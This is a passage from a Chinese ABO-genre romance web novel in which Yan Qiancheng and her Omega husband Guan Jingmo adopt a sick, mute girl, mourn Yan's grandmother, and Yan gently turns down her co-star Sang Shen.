手足无措半晌,小声说:“我……我……觉得我……不配……” 不配。 做千澄有名无实的联姻对象,被她厌弃、随时会被离婚的所谓正宫,关景墨都觉得自己不配。 现在,千澄不仅不跟他离婚,还说,要跟他做一对更好的夫妻,一起抚养一个孩子? 关景墨真心觉得,自己不配! “你觉得,哪里不配?”颜千澄一直很有耐心。 关景墨难堪低头,咬着下唇,不知不觉咬出血来。 颜千澄发现了,犹豫一会儿,伸出手,轻轻握着他的手。 不是安慰式的轻拍手背。 是带点亲密意味的,两手交握,十指相扣。 肌肤相触,关景墨感受到颜千澄掌心的温热,全身一震,抬起头,不敢置信地看向她。 颜千澄微微一笑。 关景墨再低头,看着自己跟她交握的手,嘴角不自觉上扬。 嘴唇开合几次,关景墨终于说了出来:“很多人说,我像个Alpha,没有Omega魅力……我自己也这样觉得……” 他难堪得耳朵都红了:“别人的看法,我可以不在意,可你的看法,我……千澄,你这么好,却要跟我这个毫无魅力的人在一起,不觉得亏了吗?你不觉得,你身边很多人,比我更有魅力吗,比如桑椹……” “我不觉得,”颜千澄脸色古怪,“其实我不认为你……其实魅力这东西,是很主观的,别人说你,只能说明,你不符合他们的审美偏好……” 关景墨想问,难道他就能符合她的审美偏好吗? 问不出来,也自知肯定是不符合的。 要是符合,他在千澄身边这么多年,她早就看上他了。 颜千澄看出关景墨的想法,认真回想,“你的确不是十分符合我的审美,但也不算偏离很大……你认为桑椹很有魅力,嗯,你跟他同为Omega,气质确实是两个极端,但他有魅力,不代表跟他相反的你就没有魅力。在我眼里,你跟他,只是类型不同,魅力是差不多的。” 关景墨吃了一惊。 桑椹是久负盛名的Omega美人,眼波轻轻一转,就能惹得无数Alpha为他痴狂。 而他,自小没少挨异样目光和闲言碎语,追求者寥寥。 千澄居然觉得,他跟桑椹魅力差不多大! 这是安慰话?还是客气话? 颜千澄握着他的手,“其实,在那件事之前,我一直挺欣赏你的,是真心觉得你很好。景墨,你要对自己多点信心。” 关景墨心头一甜,脸颊发热。 过了好一会儿,他又踌躇着说:“我……不知道能不能做一个……好父亲……” 颜千澄顿了顿,望向车窗外。 在她心目中,这世上最好的父亲,是喻君辞。 可惜,没有足够的缘分,跟他相守。 没有足够的情面,跟他开口说“请你做我孩子的父亲”。 颜千澄收回视线。 眼前的关景墨,她忽视过,怀疑过,厌恶过。 之前,她考虑收养小园时,曾想过,要自己独力抚养她的。 脑海里,却突然出现一个清晰坚定的声音,告诉她,关景墨是个好父亲。 颜千澄综合关景墨种种表现,详加考虑。 跟他深谈。 如今,信任重建,恶感褪去。 颜千澄清晰地感觉到,那个声音没说错,她的决定没错。 于是,颜千澄就把那突然出现在她脑海的话,说给关景墨听:“你会是个好父亲。” 她说,他会是个好父亲。 关景墨心里泛起强烈的欣喜,还有几分不知身在何处的茫然。 他想起一个梦。 梦里,他抚养着一个孩子。 那孩子,跟千澄长得很像。 聪明,懂事。 懂事得让人心疼。 孩子一开始叫他关叔叔,后来改口,叫他父亲。 在梦里,关景墨终生未婚,把她当成自己的亲生女儿来疼爱照顾。 这孩子,是他余生的全部意义。 有人跟他说,他是个好父亲。 是什么梦呢? 第37章 关景墨努力回忆。 哦,这个梦,是第一次跟喻君辞见面后做的。 那晚,他回到市中心大平层的住处,洗漱躺下,本以为会失眠,却在辗转反侧中,不知不觉睡着了。 然后,就做了这个梦。 梦中,千澄没去参加关氏集团的年度庆典,没有中药,没有标记他,没有娶他。 跟千澄在教堂里,执手宣誓要彼此相爱、彼此珍惜,直至死亡将彼此分开的人,是喻君辞。 那时候,千澄已经被怨灵锁定。 关景墨反复考虑,决定告诉千澄这件事。 他去千澄家里找她。 迟了一步,千澄临时有事,回颜氏集团了。 喻君辞刚好在。 关景墨暗恋颜千澄多年,不知道该怎么面对她的爱人。 恍惚间,三言两语,被喻君辞套了话。 喻君辞没怀疑他,微微苦笑着,说要跟千澄祸福与共。 关景墨压下心酸,跟千澄的爱人说,自己曾欠千澄一个恩情,如有需要,请务必找他帮忙。 千澄跟喻君辞感情极好,关景墨见过他们相处的模样,两人都很在乎对方,看对方的眼神,满满的都是情意。 他们婚后很幸福,很开心。 关景墨认识千澄那么久,从来没见过她那样幸福开心。 尽管暗地里落寞心酸,关景墨仍希望千澄能一直幸福开心。 喻君辞跟关景墨说,他不想隐瞒千澄,曾试图告诉她怨灵的存在,但被一股无形的力量制止,应该是怨灵不让他说。 关景墨和喻君辞一起,拼命想办法救千澄。 可是,他们失败了,怨灵没放过她。 几个月后,千澄独自外出时,出了意外,逝世了。 关景墨把自己关在房间里。 千澄不在,他觉得人生再无意义。 不知道,自己最后的结局,是饿死,渴死,还是痛死呢…… 漫长的、无边无际的痛苦中,喻君辞突然来访。 他说,他有了千澄的孩子。 对,就是这个孩子。 千澄离开后,她就是关景墨生命的支柱。 关景墨强迫自己振作起来,应喻君辞请托,出任颜氏集团的总裁,帮这孩子守住祖业。 孩子出生的时候,他带人守在产房外,保护照顾千澄留下的,拥有庞大的资产,却几乎没有自保能力的父女两人。 喻君辞用心抚养女儿几年,然后将女儿交托给他,说想为千澄守墓。 关景墨早知他的打算,无法劝阻。 千澄出事后,喻君辞看似冷静沉着,但他的眼神,空了一大块。 常常说着话,做着事,就发起呆来。 关景墨知道,他这是在想念千澄。 关景墨有时也会这样。 喻君辞是千澄的爱人,曾跟她亲密共处数月,他们之间的回忆更多,喻君辞发呆的频率,远比他高。 喻君辞想陪着千澄,千澄也喜欢他的陪伴。 关景墨能做的,就是替已逝的一生挚爱,以及现存的他最重要的朋友,照顾他们的孩子。 喻君辞在市郊的颜氏墓地附近,修建了一座房屋,抛下盛世繁华,静静守在千澄身边。 有时候,他会回来,陪一陪女儿。 有时候,关景墨会带孩子去看他。 又过了几年。 有天早上,关景墨又带孩子去看喻君辞。 喻君辞和女儿去扫墓。 关景墨留在客厅,处理集团的工作。 千澄的墓,他从来不敢去,怕泪水一出来,就收不住。 中午,父女俩眼圈红红的回来了,他们一起吃饭,然后哄孩子睡觉。 回到客厅,喻君辞平平静静的,递给他一份检查报告。 关景墨一看,吓了一大跳:“我帮你找名医!你还年轻,一定会没事的!” 喻君辞轻叹:“这是心病,治不好的。没关系的,以后,我能更好地陪伴千澄了。” 关景墨哽咽。 临别时,喻君辞说,想让女儿正式认他做义父。 关景墨手足无措,觉得自己不够格。 喻君辞淡淡微笑,说:“景墨,这些年,多亏你处处照应……你是个好父亲,远比我好。” 喻君辞说着,摸摸女儿的头。 颜千澄和喻君辞的女儿,继承了他们的聪慧和温柔,她抱了抱亲生父亲,然后擦掉眼泪,乖乖喊关景墨“父亲”。 关景墨红了眼圈,小心翼翼地,从喻君辞怀里接过她。 …… 这个梦,是某一世的经历,还是……潜意识给他的预兆? 预兆着今天,千澄会想收养一个孩子,要他做这孩子的父亲? 关景墨不清楚。 他只知道,千澄的请托,他永远也拒绝不了。 可在答应之前,还有一个问题。 这问题,从千澄答应不会跟他离婚那刻起,他就很想问。 一直不敢问。 就怕稍稍一提,眼前的美梦就立刻破碎,回到冰冷的现实。 可想起那个悲伤的梦里,他们曾经开心快乐的样子…… 为了深爱多年的千澄的幸福,为了梦里跟喻君辞那段友情,关景墨不得不问:“千澄……喻君辞……” 喻君辞,果然是不一样的。 关景墨一提他的名字,就看到颜千澄一直柔和的表情变了变。 关景墨压下心里百般滋味,继续问:“……你心里……有什么打算?” 现代社会实行一夫一妻制。 在社会认知中,同时有几位伴侣,是不道德的。 “小三”这名头一旦坐实,足以让人身败名裂,变成过街老鼠般被辱骂被唾弃的存在。 千澄那么爱喻君辞,肯定不愿伤害他一分一毫。 喻君辞也会自觉跟千澄保持距离,尽量不影响她的婚姻。 关景墨原以为,千澄打算等祖母逝世后,就跟他离婚,恢复自由身,再追求喻君辞。 可千澄答应了,不会跟他离婚。 从千澄的态度,关景墨感觉到,她是认真的,不是随口说说,不是一时兴起。 千澄是当真没想过,要跟他离婚。 恐怕,千澄在决定要跟他结婚那一刻起,就自行掐断了日后跟喻君辞在一起的想法,彻底放弃了这份爱情。 可是……为什么要这样决绝呢…… 颜千澄沉默很久,才轻声回答:“在我心里,喻君辞……是我的初恋。虽然,我跟他从未曾真正在一起,就结束了……” “嗯,这段感情,已经结束了。” “我想,我跟他,以后也不会开始。” “为什么?”关景墨疑惑。 颜千澄移开视线,呆呆望着远处。 半晌,才低声答:“他信命,大概会认为,是缘分不够……至于我……我觉得,‘宁为玉碎,不为瓦全’。也许这是幼稚可笑的执念,可是……我心底里,的的确确是感觉,将这段最美好最重要的感情,定格在……或许更好……” 关景墨不太明白。 但他知道,这是千澄能说的所有了。 纠葛数年的情感,百转千回,复杂无比,本就难以条分缕析地清楚道明。 颜千澄发完呆,回头,深深看进关景墨眼眸深处:“你不骗我,我也不骗你。景墨,虽然我跟他有缘无分,但他在我心里,是特殊的。或许,这辈子,都不会有另外一个异性,在我心里的地位能越过他,包括你。这点,你愿意接受吗?你心甘情愿吗?” 关景墨毫不犹豫:“我愿意接受,我心甘情愿。” 颜千澄惊讶:“……你可以仔细考虑考虑,不用急着回答我。” 关景墨淡淡微笑:“这是事实,我早已明白,早已接受了。我觉得,人要知足。千澄,你给我的,已经够多了,比我曾期盼的还要多很多。我很满足,很开心,真的。” 关景墨一直告诫自己,勿忘初心。 他的初心,是希望千澄平安喜乐,希望自己能有机会报答她。 曾几何时,千澄对他笑一笑,跟他说句话,他就能开心一整天。 现在,千澄愿意再次信任他,主动跟他建立长久稳固的关系。 他已经如此幸运,又有什么理由,为不可改变的事实纠结,跟一个他也暗暗敬佩的人争长短呢—— 两人商量好,一起去民政局递交申请,与福利院签订收养协议。 法律规定,收养八周岁以上的儿童,需要本人同意。 小园才刚四周岁,不需要走这项流程,但颜千澄还是蹲下来,平视小园的眼睛,耐心跟她沟通,确保她明白他们的意思。 小园一脸震惊,反应过来后,猛点头。 颜千澄笑笑,终于能伸出双臂,将小姑娘拥入怀中。 抱了一会儿,一直安安静静的孩子突然颤抖起来。 想起她有先天性心脏病,颜千澄慌忙轻轻推开她,想检查她的状况。 一眼瞥见,小园一张小脸上,全是眼泪。 原来她刚刚是在哭,不是不舒服。 小园突然被颜千澄推开,愣了一下,下意识地举起瘦小的胳膊,希望继续拥抱。 可她想了想,又放下手臂,乖巧地站好。 颜千澄叹气。 小园这是……以为大人不想抱她了,怕给大人添麻烦,就乖乖把自己的渴望收起来。 颜千澄掏出手绢,帮小园擦泪水,又抱了她一会儿,再示意她看关景墨。 之前慰问福利院时,关景墨以下属的身份,一直默默跟在颜千澄身后,没跟小园互动。 现在,颜千澄向小园介绍:“他叫关景墨,以后就是你的父亲了。” 小园一双乌溜溜的大眼睛看向关景墨。 关景墨突然紧张起来,比第一次开跨国会议更紧张。 他强自镇定,学着颜千澄的样子,蹲下来,平视小园,放柔声音:“你好,我……以后会好好照顾你的……” 小园怯怯地抬起小短臂。 关景墨赶紧张开怀抱。 小小的身子偎依进他怀里。 关景墨不敢用力,怕伤了小园,抱得僵硬笨拙。 抱着抱着,关景墨突然又想起梦里那个孩子。 他曾无数次抱起她,无微不至地照顾她的生活起居,将她养大成人。 关景墨的姿势自动调整,变得自然纯熟。 那孩子,跟小园一样,都是千澄的孩子。 也是……他的孩子。 他视如己出的孩子。 鼻头闻到淡淡的奶香味,关景墨忍不住伸手,小心翼翼地抚摸小园细软的头发。 小园在他怀里抬起头,嘴巴无声开合。 口型不太准确,但勉强能看出,她在试图说“父亲”。 关景墨确信,这一刻,他对小园起了真心。 两人带小园回家,管家办事效率很高,已经布置好儿童房,请来几个会手语的保姆。 颜千澄和关景墨带小园看她的房间,从衣柜里拿出几件衣服,在她身上比了比,确认尺寸是不是合适,再一起面试保姆,一起吃饭,哄她睡觉。 等小园基本适应新环境,颜千澄和关景墨准备带她去医院检查身体。 防弹车刚驶出颜氏祖宅,几圈人围了上来。 颜千澄无奈。 为保护小园,她跟关景墨没有大张旗鼓,一路低调。 但豪门家族是活在聚光灯下的,再低调,一举一动还是被无数人关注议论。 颜千澄和关景墨都很年轻,婚后还未生育自己的儿女,就先领养了一个孩子,这事早在网上传开了,人们议论纷纷,好奇无比。 眼前这几圈人,就是闻风赶来的媒体记者,扛着长枪短炮蹲守在他们家门外,想采访他们。 关景墨要为颜千澄分忧:“要不,我去应付他们,你带小园去医院吧。” 颜千澄想了想:“小园跟你相处得挺好的,还是你带她去医院,我来应付媒体。” 在社会普遍认知中,生儿育女是Omega的职责与荣耀。 关景墨婚后半年未孕,还有很多传言说,他不得自己的Alpha宠爱…… 想也知道,关景墨若独自面对媒体,会被他们问出怎样难堪的问题。 颜千澄下车,在保镖的簇拥中,微笑着向记者们点头致意。 凭着清丽的容颜,温润有礼的举止风度,颜千澄一直是媒体的宠儿。 记者们一看见她,立刻收起饿狼扑食状,笑容都自然了很多,自觉安静下来,等她示意再提问。 颜千澄从容应答,简要讲述收养小园的初衷与经过,维护关景墨的面子,请大家尊重孩子的隐私,一起守护孩子健康成长。 有颜千澄吸引火力,防弹车顺利驶离颜氏祖宅。 小园回头望着颜千澄,两眼发亮,满满的崇拜与依恋。 关景墨也回头看她。 千澄这么好,怎能不死心塌地的爱她啊。 等车子驶远,望不见颜千澄了,关景墨突然发现,怨灵正跟在他们身后。 它,没跟着千澄? 它将目标改成他了? 关景墨疑惑,再仔细观察,发现怨灵没看他一眼,而是关注着小园,周身气息平和。 关景墨明白了。 怨灵是想知道小园的病能不能治好,所以选择跟着他们去医院。 怨灵……果然很喜欢孩子—— 关景墨带小园做完检查,回家把检查报告交给颜千澄:“医生说,小园的先天性心脏病,可以通过手术治疗,但有一定风险。至于声带缺损,目前的技术暂时无法恢复……” 颜千澄一页一页翻看检查报告,心头沉甸甸的:“小园的病,暂时未影响日常生活,现在动手术,她会害怕,要不再让她适应一段时间吧,我们先寻访名医,讨论一个稳妥的治疗方案出来,将风险降到最低。” 关景墨点头,问:“明天探望颜董,要带小园去吗?” “要的,她是我们的女儿,”颜千澄收好检查报告,看了关景墨一眼,“祖母不是让你改口了吗?” 关景墨红了脸,害羞又欢喜。 成为千澄的家人,跟着她喊祖母,跟她有个共同的孩子。 还是觉得……像在做梦…… 第二天傍晚,两人带着小园,走进颜龄的病房。 颜千澄抱起小园,带着初为人母的喜悦,向祖母介绍她的女儿。 颜龄勉强抬起昏花的老眼,视线掠过小园,转向关景墨:“收养个孩子也好,有些人一直怀不上,认个养子女后,就顺利怀上了。” 空气凝滞。 关景墨不愿让颜千澄为难,羞窘低头,小声说:“我……我会努力的……” 颜龄还想说什么,颜千澄先开口:“景墨,你带小园去楼下的花园散步吧。” 等关景墨抱着小园出去,颜千澄拉起颜龄的手,转移话题:“祖母,你今天精神挺好的。” 颜龄重重叹气:“你不用说没用的安慰话,我自己的身体,我自己知道,应该就这几天了……千澄,你要成熟点。” 颜千澄沉默。 祖母说的“成熟”,应该是指摒弃个人意愿与情感,一切为家族与颜氏集团的利益考虑。 祖母认为,她应该早日让关景墨生个优秀的孩子,并将那孩子培养成颜氏集团的下一任继承人。 祖母一生都在为颜氏劳碌,她并不是只要求别人,她是以身作则,一直以来,都将家族与颜氏集团的利益,置于一切之上。 颜千澄理解祖母,尊重祖母的想法。 只是,对于“成熟”,颜千澄有自己的理解。 外人都说,颜千澄样样优秀,完美无缺。 但颜千澄自己,并不认为,自己需要成为一个完美的楷模。 她仍倔强地想保留自己一些“不成熟”、不完美的地方。 或许,终有一天,这些“不成熟”、不完美,会成长为新的模样。 她会成熟。 但这“成熟”,应该是真正的洞明世事,人情练达。 而不是一次又一次地妥协,急匆匆地,茫茫然地,按照社会规范、外界期望、以及别人的喜好,将自己打磨成一个模具。 这两者看着差不多,却是自然成熟与催熟的区别。 是真人与假人的区别。 但如今,祖母已经…… 没必要,也不应该跟她讨论太多了。 颜千澄压下心头百般滋味,微笑宽慰祖母:“现在,我跟景墨相处得挺好的,你放心吧。” 颜龄仔细观察孙女的表情,叹息:“但愿吧。” 说了几句话,她累了,合上眼睛,很快就陷入昏睡。 睡梦中,颜龄嘴唇阖动,喃喃说着什么。 颜千澄凑近细听。 “股权”、“核心资产”、“估值”…… 颜千澄很快明白了。 祖母说的,是颜氏集团几年前一起并购案的细节。 颜千澄长叹一声,为祖母掖好被角。 在祖母身边坐了一会儿,颜千澄离开病房,找到关景墨和小园。 三人一起回颜氏祖宅,一起吃晚饭,颜千澄和关景墨陪小园玩积木,看绘本,然后哄她睡觉。 等小园睡熟,关景墨要去书房处理事务,颜千澄送他。 “景墨,”来到书房门口,颜千澄歉意地看着关景墨,“今天,祖母……委屈你了。” 关景墨赶紧摇头:“祖母是关心你……你也马上帮我了,我没觉得委屈,真的。” 顿了顿,关景墨小声提醒:“千澄,这几天,我们多抽点时间陪陪祖母吧。” 颜千澄领会到关景墨话里的含义,心头骤痛:“是医生跟你说的吗?” 关景墨踌躇几番,跟颜千澄说实话:“我曾找人算过祖母的……寿数。” 颜千澄想起,今天,祖母也说过,应该就这几天了。 她沉默很久,回过神来,发现关景墨在偷偷观察她的表情,一脸惶恐不安。 关景墨应该是怕她生气。 因为找人算死期,在传统文化中,是比较忌讳的事。 颜千澄扯出一个微笑,安慰他:“我没生你的气,那一天,迟早会来的,早点知道,我还能……像你说的,多陪陪祖母。” 她叹气:“我刚刚是在难过……就算早有心理准备,可真到了这时候,还是……唉……” 关景墨想安慰她,又不知道该怎么安慰,手足无措。 颜千澄看在眼里,不想为难他,调整一下心情,继续原先想说的话题:“我知道祖母的期望,也知道真正的夫妻应该是怎样的。我们成婚以来,的确是委屈你了……” 颜千澄的话说得含蓄,但关景墨怎能不明白她的意思? 她指的是,他们的婚姻里,“没有真正的亲密关系”这个事实。 第38章 关景墨猝不及防,只觉得自己整个人都瞬间烧熟红透了:“我不委屈的……千澄,我原本就……不配……” “这种事,没有什么配不配的。”颜千澄无奈。 关景墨在感情上的自卑与不配得感,真是个大问题,不知道若安打算用哪种疗法帮他克服。 颜千澄不是专业人士,只能先专注自己的问题:“那时候……我父母刚逝世……” 关景墨一听到颜千澄说“父母”,惊得连害羞都忘了。 小心翼翼地四处张望。 没找到怨灵。 它可能是知道,他们要谈私密的话题,避开了。 怨灵……还挺讲究的。 千澄完全标记他那次,她刚开始扯他衣服,怨灵就飘走了。 直到一切结束,千澄请林局长过来,它才跟在警察队后面进门。 能不能趁这机会,告诉千澄怨灵的存在? 如果千澄知道了…… 她再聪明,演技再好,神态动作可能还是会产生一点点的改变。 怨灵若是察觉到,可能会恼羞成怒,伤害千澄。 不能说。 关景墨思绪转了一圈,发现颜千澄正注视着他,一脸若有所思。 关景墨不能说,颜千澄依旧没勉强,两人相对静默。 片刻后,颜千澄像什么事都没发生过一般,继续说:“我跟父母相处的时间不长,但……我不是不在乎的……若安说,接连遭受父母逝世、至亲重病、还有……痛失所爱,我的精神世界就像经历过强震的城堡,外表看着还好,但内里已是遍布裂痕,一片狼藉。” “千澄……”关景墨眼圈发红。 这是看起来一直十分坚强的她,第一次向他袒露自己脆弱的一面。 关景墨痛恨自己的拙嘴笨舌,在这种时候,居然说不出什么像样的话来安慰她。 颜千澄淡淡微笑,继续说:“那时候,我决定放弃……我的初恋,之后,心里一直有份空虚感。” “若安分析,这份空虚感,源于我不止是放弃了一份感情,还放弃了一个习惯——每天喜欢他、思念他、规划期待未来的习惯。持续数年的感情与习惯,已成为我人生的一部分,骤然抽离,我的生活,就好像空了一块。” 见关景墨眼眸里泛起浓烈的愧疚,颜千澄笑笑:“我不是要责怪你,我跟他……是缘分不够,算了不谈这个。” “我是想告诉你,如果我带着这份空虚感,以及未愈合的创伤,匆匆忙忙跟你进入亲密关系,你会成为我填补空虚或发泄痛苦的道具,这样的关系并不健康,以后可能会引发新的问题,对你对我都不好。” “若安说,不适宜仓促冒进,但也不用慢慢等空虚感和创伤自行消失,因为这可能需要很长一段时间。” “现阶段,我们可以多沟通,多相处,彼此间建立更多的情感连接,稳固我们的感情基础。等彼此状态调整好,再决定要不要进一步推进亲密关系。” “这样,才是对彼此负责任的做法。” “通俗点说,就是要慢慢来。你明白吗?”颜千澄问。 关景墨点头,松了口气。 “你真的理解吗?会不会觉得心里不舒服?”颜千澄怕关景墨为了不让她为难,隐瞒自己的感受。 关景墨赶紧应:“我理解的,其实……其实……我也有点……障碍……” 他低下头,盯着地板,半晌,才小声说:“我……怕……” “怕?”颜千澄一时不明白,转念一想。 人生的第一次,刚好是跟自己喜欢的人……本该是很美好的。 可当时的状况…… 对关景墨而言,他第一次的经历,充满了痛苦、耻辱与罪恶感。 颜千澄:“……” 他们两人,都有各自的问题。 ……真的是要慢慢来—— 祖母时日无多,颜千澄很想一直陪在她身边,但颜龄拒绝了。 “你应该去工作,”颜*龄说,“年轻人,应该全力拼搏,做出一番事业。你……唉,拍完电影后,可以多做宣传,提升颜氏集团的形象和知名度……要是还有时间,就多陪陪景墨。” 颜龄并不赞同颜千澄去做演员,觉得是大材小用了。 幸好现在有关景墨在。 关景墨才能出众,又足够忠诚,颜氏集团有他坐镇,颜龄能放心。 她只希望,颜氏集团的下一任继承人能早日出生。 关景墨赶紧宽慰:“千澄最近待我极好,您放心,我……我会努力……” 颜龄盯着他。 关景墨红了脸,低下头。 今天,颜千澄是拉着他的手进颜龄病房的。 十指相扣,这小小的亲密,已让他心如鹿撞,眼角眉梢全是真实无比的甜蜜幸福。 像个深受Alpha宠爱的新婚小O。 颜龄点头,眉间的皱褶舒展了些。 关景墨知道颜千澄担心祖母,提议:“要不,让人拿我的笔记本电脑来,我在这里办公吧,有什么疑难还能当面向祖母请教。” 颜龄微笑:“我是快入土的人了,还能教你什么。” 她没真的拒绝,颜千澄就在病房里布置一张办公桌,放上关景墨的笔记本电脑。 关景墨一边工作,一边关注颜龄的状况,偶尔简单向她汇报几句。 “与政府合作的新城项目进入收尾阶段……” “F国子公司的融资方案……” “下季度的发展规划……” …… 颜龄大部分时候在昏睡,少数清醒的时间,她勉力集中精神,听关景墨汇报,昏花老眼泛出几分昔日的光彩。 颜千澄默默离开,回剧组继续拍戏。 五天后,她在剧组接到关景墨的电话。 颜千澄急匆匆赶到疗养院,冲入祖母的病房。 祖母静静躺在病床上,胸膛不再起伏,床边心电监护仪的屏幕,拉出一条永远不会再有任何变化的直线。 颜千澄一步一步,慢慢走到祖母身边,突然双腿一软,跪坐在冰冷的地板上。 “千澄……” 关景墨一直守在病房內,想安慰颜千澄,但很快发现,颜千澄正处于极度的悲伤中,根本听不进任何劝慰。 关景墨单膝跪在颜千澄身边,默默陪着她。 颜千澄拉着祖母的手,额头靠在床沿上,把脸埋进阴影里。 良久。 颜千澄抬起头,沙哑着声音问:“祖母临走前,有没有说什么?” 关景墨轻叹:“她……在背诵颜氏集团十年前的战略发展纲要……” 颜千澄沉默。 祖母……弥留之际,神志糊涂时,都在念着她的商业帝国。 至死都放不下。 又缓了好久,颜千澄慢慢站起身:“该为祖母……办后事了……” 话音刚落,鼻子一酸,眼前一片模糊。 半年前,她才刚办过一场后事。 她亲生父母的后事。 那时候,祖母病倒,她要独自面对一切,独自撑起一切。 现在…… “我帮你。” 颜千澄听到关景墨说。 有一个可靠、可信的人,站在她身边,陪她走这一段艰难的路。 当晚,颜氏集团发布讣告。 颜龄生前执掌颜氏集团多年,在集团内外素有威望,一直是商界举足轻重的领军人物,消息传出后,社会各界人士纷纷发文表示哀悼。 媒体用“一代商业巨擘的陨落”“一个时代的结束”来形容颜龄的逝世。 外界热热闹闹,颜千澄却分外沉默,木然地回复剧组众人与亲朋好友的慰问,偶尔与关景墨商量葬礼安排。 只有小园从幼儿园放学归来陪她时,颜千澄脸上才有几丝鲜活表情。 颜龄落葬那天,政商名流、颜氏集团高管和颜家亲朋都来了,花圈挽联无数,电子屏幕滚动播放长长一串来悼念的社会团体与企业名录。 颜千澄勉强打起精神,做她该做的事。 回应慰问,表示感谢。 听着挽歌悼词。 看着棺盖缓缓合上。 祖母,她最重要的亲人,彻底离开她了。 无论如何显赫、如何尊荣的人,离去那日,都只剩下一杯黄土。 回到家,颜千澄强打精神,和关景墨一起哄小园午睡。 小园刚躺下,又突然坐起,扑到颜千澄怀里,张开两条小短臂,紧紧抱着她。 “怎么了?”颜千澄惊讶。 小园从她怀里抬起头,皱着一张小脸,小手比划。 颜千澄这段时间学了很多手语,知道小园在表示“不要伤心”。 小园嘴唇开开合合。 看口型,她在笨拙地重复“妈妈”,“不痛”…… 颜千澄心里一阵温暖,摸摸小园细软的头发:“谢谢你,我好多了,你快睡吧。” 等小园睡着,颜千澄帮她盖好被子,关上门,回自己房间。 关景墨静静跟在颜千澄身后,走到楼梯转角位,突然怯怯出声:“千澄,我可以……抱抱你吗?” 颜千澄一怔,回头,勉强扬起一个苍白的微笑:“你这是在学小园,还是把我当小园了?” 关景墨羞窘尴尬,不知道该怎么说,手脚也不知道该往哪摆。 可还是定定地看着颜千澄。 曾听怨灵说,千澄常常一个人在房间坐着,想着想着就默默落泪。 关景墨不愿千澄那样独自伤心。 他想安慰千澄,让她好过些。 两人相对静默片刻,颜千澄收了微笑,脸上流露出最真实的情绪。 她缓缓张开双臂。 关景墨赶紧上前,也张开双臂。 他不习惯这样亲密的动作,也担心僭越,不敢贴得太近,只虚虚地环抱颜千澄。 颜千澄顿了顿,主动搂紧关景墨。 关景墨心头一跳,紧跟着抱紧她。 两人都没再说话,也没动,静静相拥,感受对方的心跳呼吸,用体温温暖着彼此。 残酷,一点一点,化为温柔。 第39章 第二天,颜千澄回剧组拍戏。 剧组众人纷纷慰问,颜千澄得体致谢,然后翻开剧本,表示自己会专注工作,拍好今天的杀青戏。 桑椹闻言,手指微微掐进冰绿茶的塑料杯里。 是啊,要拍杀青戏了…… 拍完这部电影的最后一幕,不知道什么时候,能再跟她合作呢…… 桑椹发了一会儿呆,回过神来,赶紧松手,抚平杯身上的掐痕,将冰绿茶递给颜千澄:“千澄姐姐……” 颜千澄抬头,两人视线相遇。 优秀演员的眼睛都会说话,更何况桑椹与颜千澄密切合作数月,早有默契。 这时候,颜千澄一两个眼神,桑椹就读懂了她的意思。 “谢谢你的心意。” “抱歉,我不能接受。” “请到此为止,不要让彼此尴尬。” 颜千澄的态度,温和而坚定。 桑椹苦笑,无法多说什么,只能默默坐下,也拿起剧本看。 封锁现场,准备灯光,演员们各就各位,随着导演的一声“action”,拍摄开始。 女皇在御书房批奏折,一本接一本。 要治理好一个国家,是很累的。 也有很多顾虑。 比如,再喜欢一个人,也不能太宠他。 若是一时不慎,流露出太多偏爱…… 她所爱之人,会成为无数人的眼中钉、肉中刺。 跟Omega爱妃多年相处,共历艰险,女皇知道了他的来历,明白他的所思所想、所忧所盼。 女皇也曾以为,身为帝皇,站在大陆权力的顶峰,她可翻手为云,覆手为雨,Omega爱妃想要什么,她都能给他。 也能滴水不漏地护住他,不会让他受到丁点伤害。 Omega爱妃数次遭难,险些丢掉性命,终于让女皇懂得,帝皇并非无所不能。 一日头顶皇冠,就要一日顾虑重重,如履薄冰。 侍从求见,献上放满牌子的托盘。 女皇指尖划过Omega爱妃的牌子。 犹豫片刻,最终,翻了兵部尚书侄儿的牌子。 桑椹正在宫室里对镜梳妆。 他的宫室富丽堂皇,样样摆设,皆是御赐的珍品。 心腹侍从来报,说女皇翻了新进宫美人的牌子。 桑椹颔首,继续细细描画眉眼,青葱秀美的手指没有颤动半分。 从刚穿越的懵懂少年,到如今懂礼节,知进退,一言一行都深具皇家风范的贵妃,他成长了很多。 他理解了她的心思,她的顾虑。 他明白了,女皇的确是爱他的。 只是,身为帝皇,她的心,要装太多东西。 第一是社稷苍生,第二是帝皇权位,第三是她与他的性命安全。 第四,才是她与他之间的情爱。 这就是帝皇之爱。 他终于懂了。 不再猜疑不安,不再纠结痛苦,不再心酸委屈…… 他依旧爱女皇,依旧时常牵挂她,盼望余生能常伴她左右。 今生今世,也忘不了她。 只是…… 梳妆台古朴镜面上映出的剪水双瞳,不再清澈见底,一尘不染。 也许,这就是他年少无知时,曾向往过的……成熟? 宫墙外,京城市井一处古旧茶楼,说书人在昏黄的夕阳余晖中,慢悠悠敲着拍子,吟唱古老的爱情故事。 “同心而离居,忧伤以终老……”(1) 拍完戏,剧组众人击掌欢呼,热热闹闹。 片场阴暗角落,贝贝感慨:“拍完了……” 谢凡轻叹一声,摸摸它的头。 相比起电影开拍时,一大一小两个身影,都愈发透明模糊了。 不知何时,就会力量散尽,魂飞魄散。 导演安排剧务收拾现场,招呼大家去吃杀青饭,颜千澄和桑椹都很给面子地应了。 来到附近一家五星级酒店的包厢,颜千澄和桑椹是电影主演,自然坐在一起。 有个制片调侃颜千澄和桑椹的关系。 桑椹攥着筷子,还未想好该如何反应,颜千澄已拿起酒杯,不着痕迹地将话题带过,然后讲起她女儿的趣事。 她什么都擅长,包括酒席上的应酬周旋,包厢的气氛很快被她调动起来。 桑椹出道多年,跟形形色色的人打过交道,自然不会轻易失态。 他又将自己分成几部分,演技精湛的桑椹微笑着,吃饭夹菜,偶尔附和一两句。 真实的桑椹躲在心底深处的小黑屋里,大哭特哭。 感性的一半哭着问:“真要……就这样算了吗?” 理性的一半叹气:“我知道你不甘心,可我们还能怎样?她连孩子都有了。” 虽然那孩子是收养的,但看看颜千澄一脸毫不掩饰的宠爱,不是亲生的,也跟亲生的差不多了。 那孩子,也算是关景墨的孩子。 以前,网上很多人说,颜千澄勉为其难娶关景墨,只为让祖母安心,等祖母过世,就会跟关景墨离婚。 可如今看来,关景墨的地位不降反升。 现在颜千澄讲起女儿,会很自然地提到关景墨,赞叹他对女儿的细心妥帖,认同他的付出。 那神态,那语气,柔和又熟稔,往日的冷漠生硬消失得无影无踪。 很明显,颜千澄已将关景墨视为重要的家人了。 他实在不能怎样啊。 颜千澄的意思,已经表达得足够清楚,也给他留下足够的体面了。 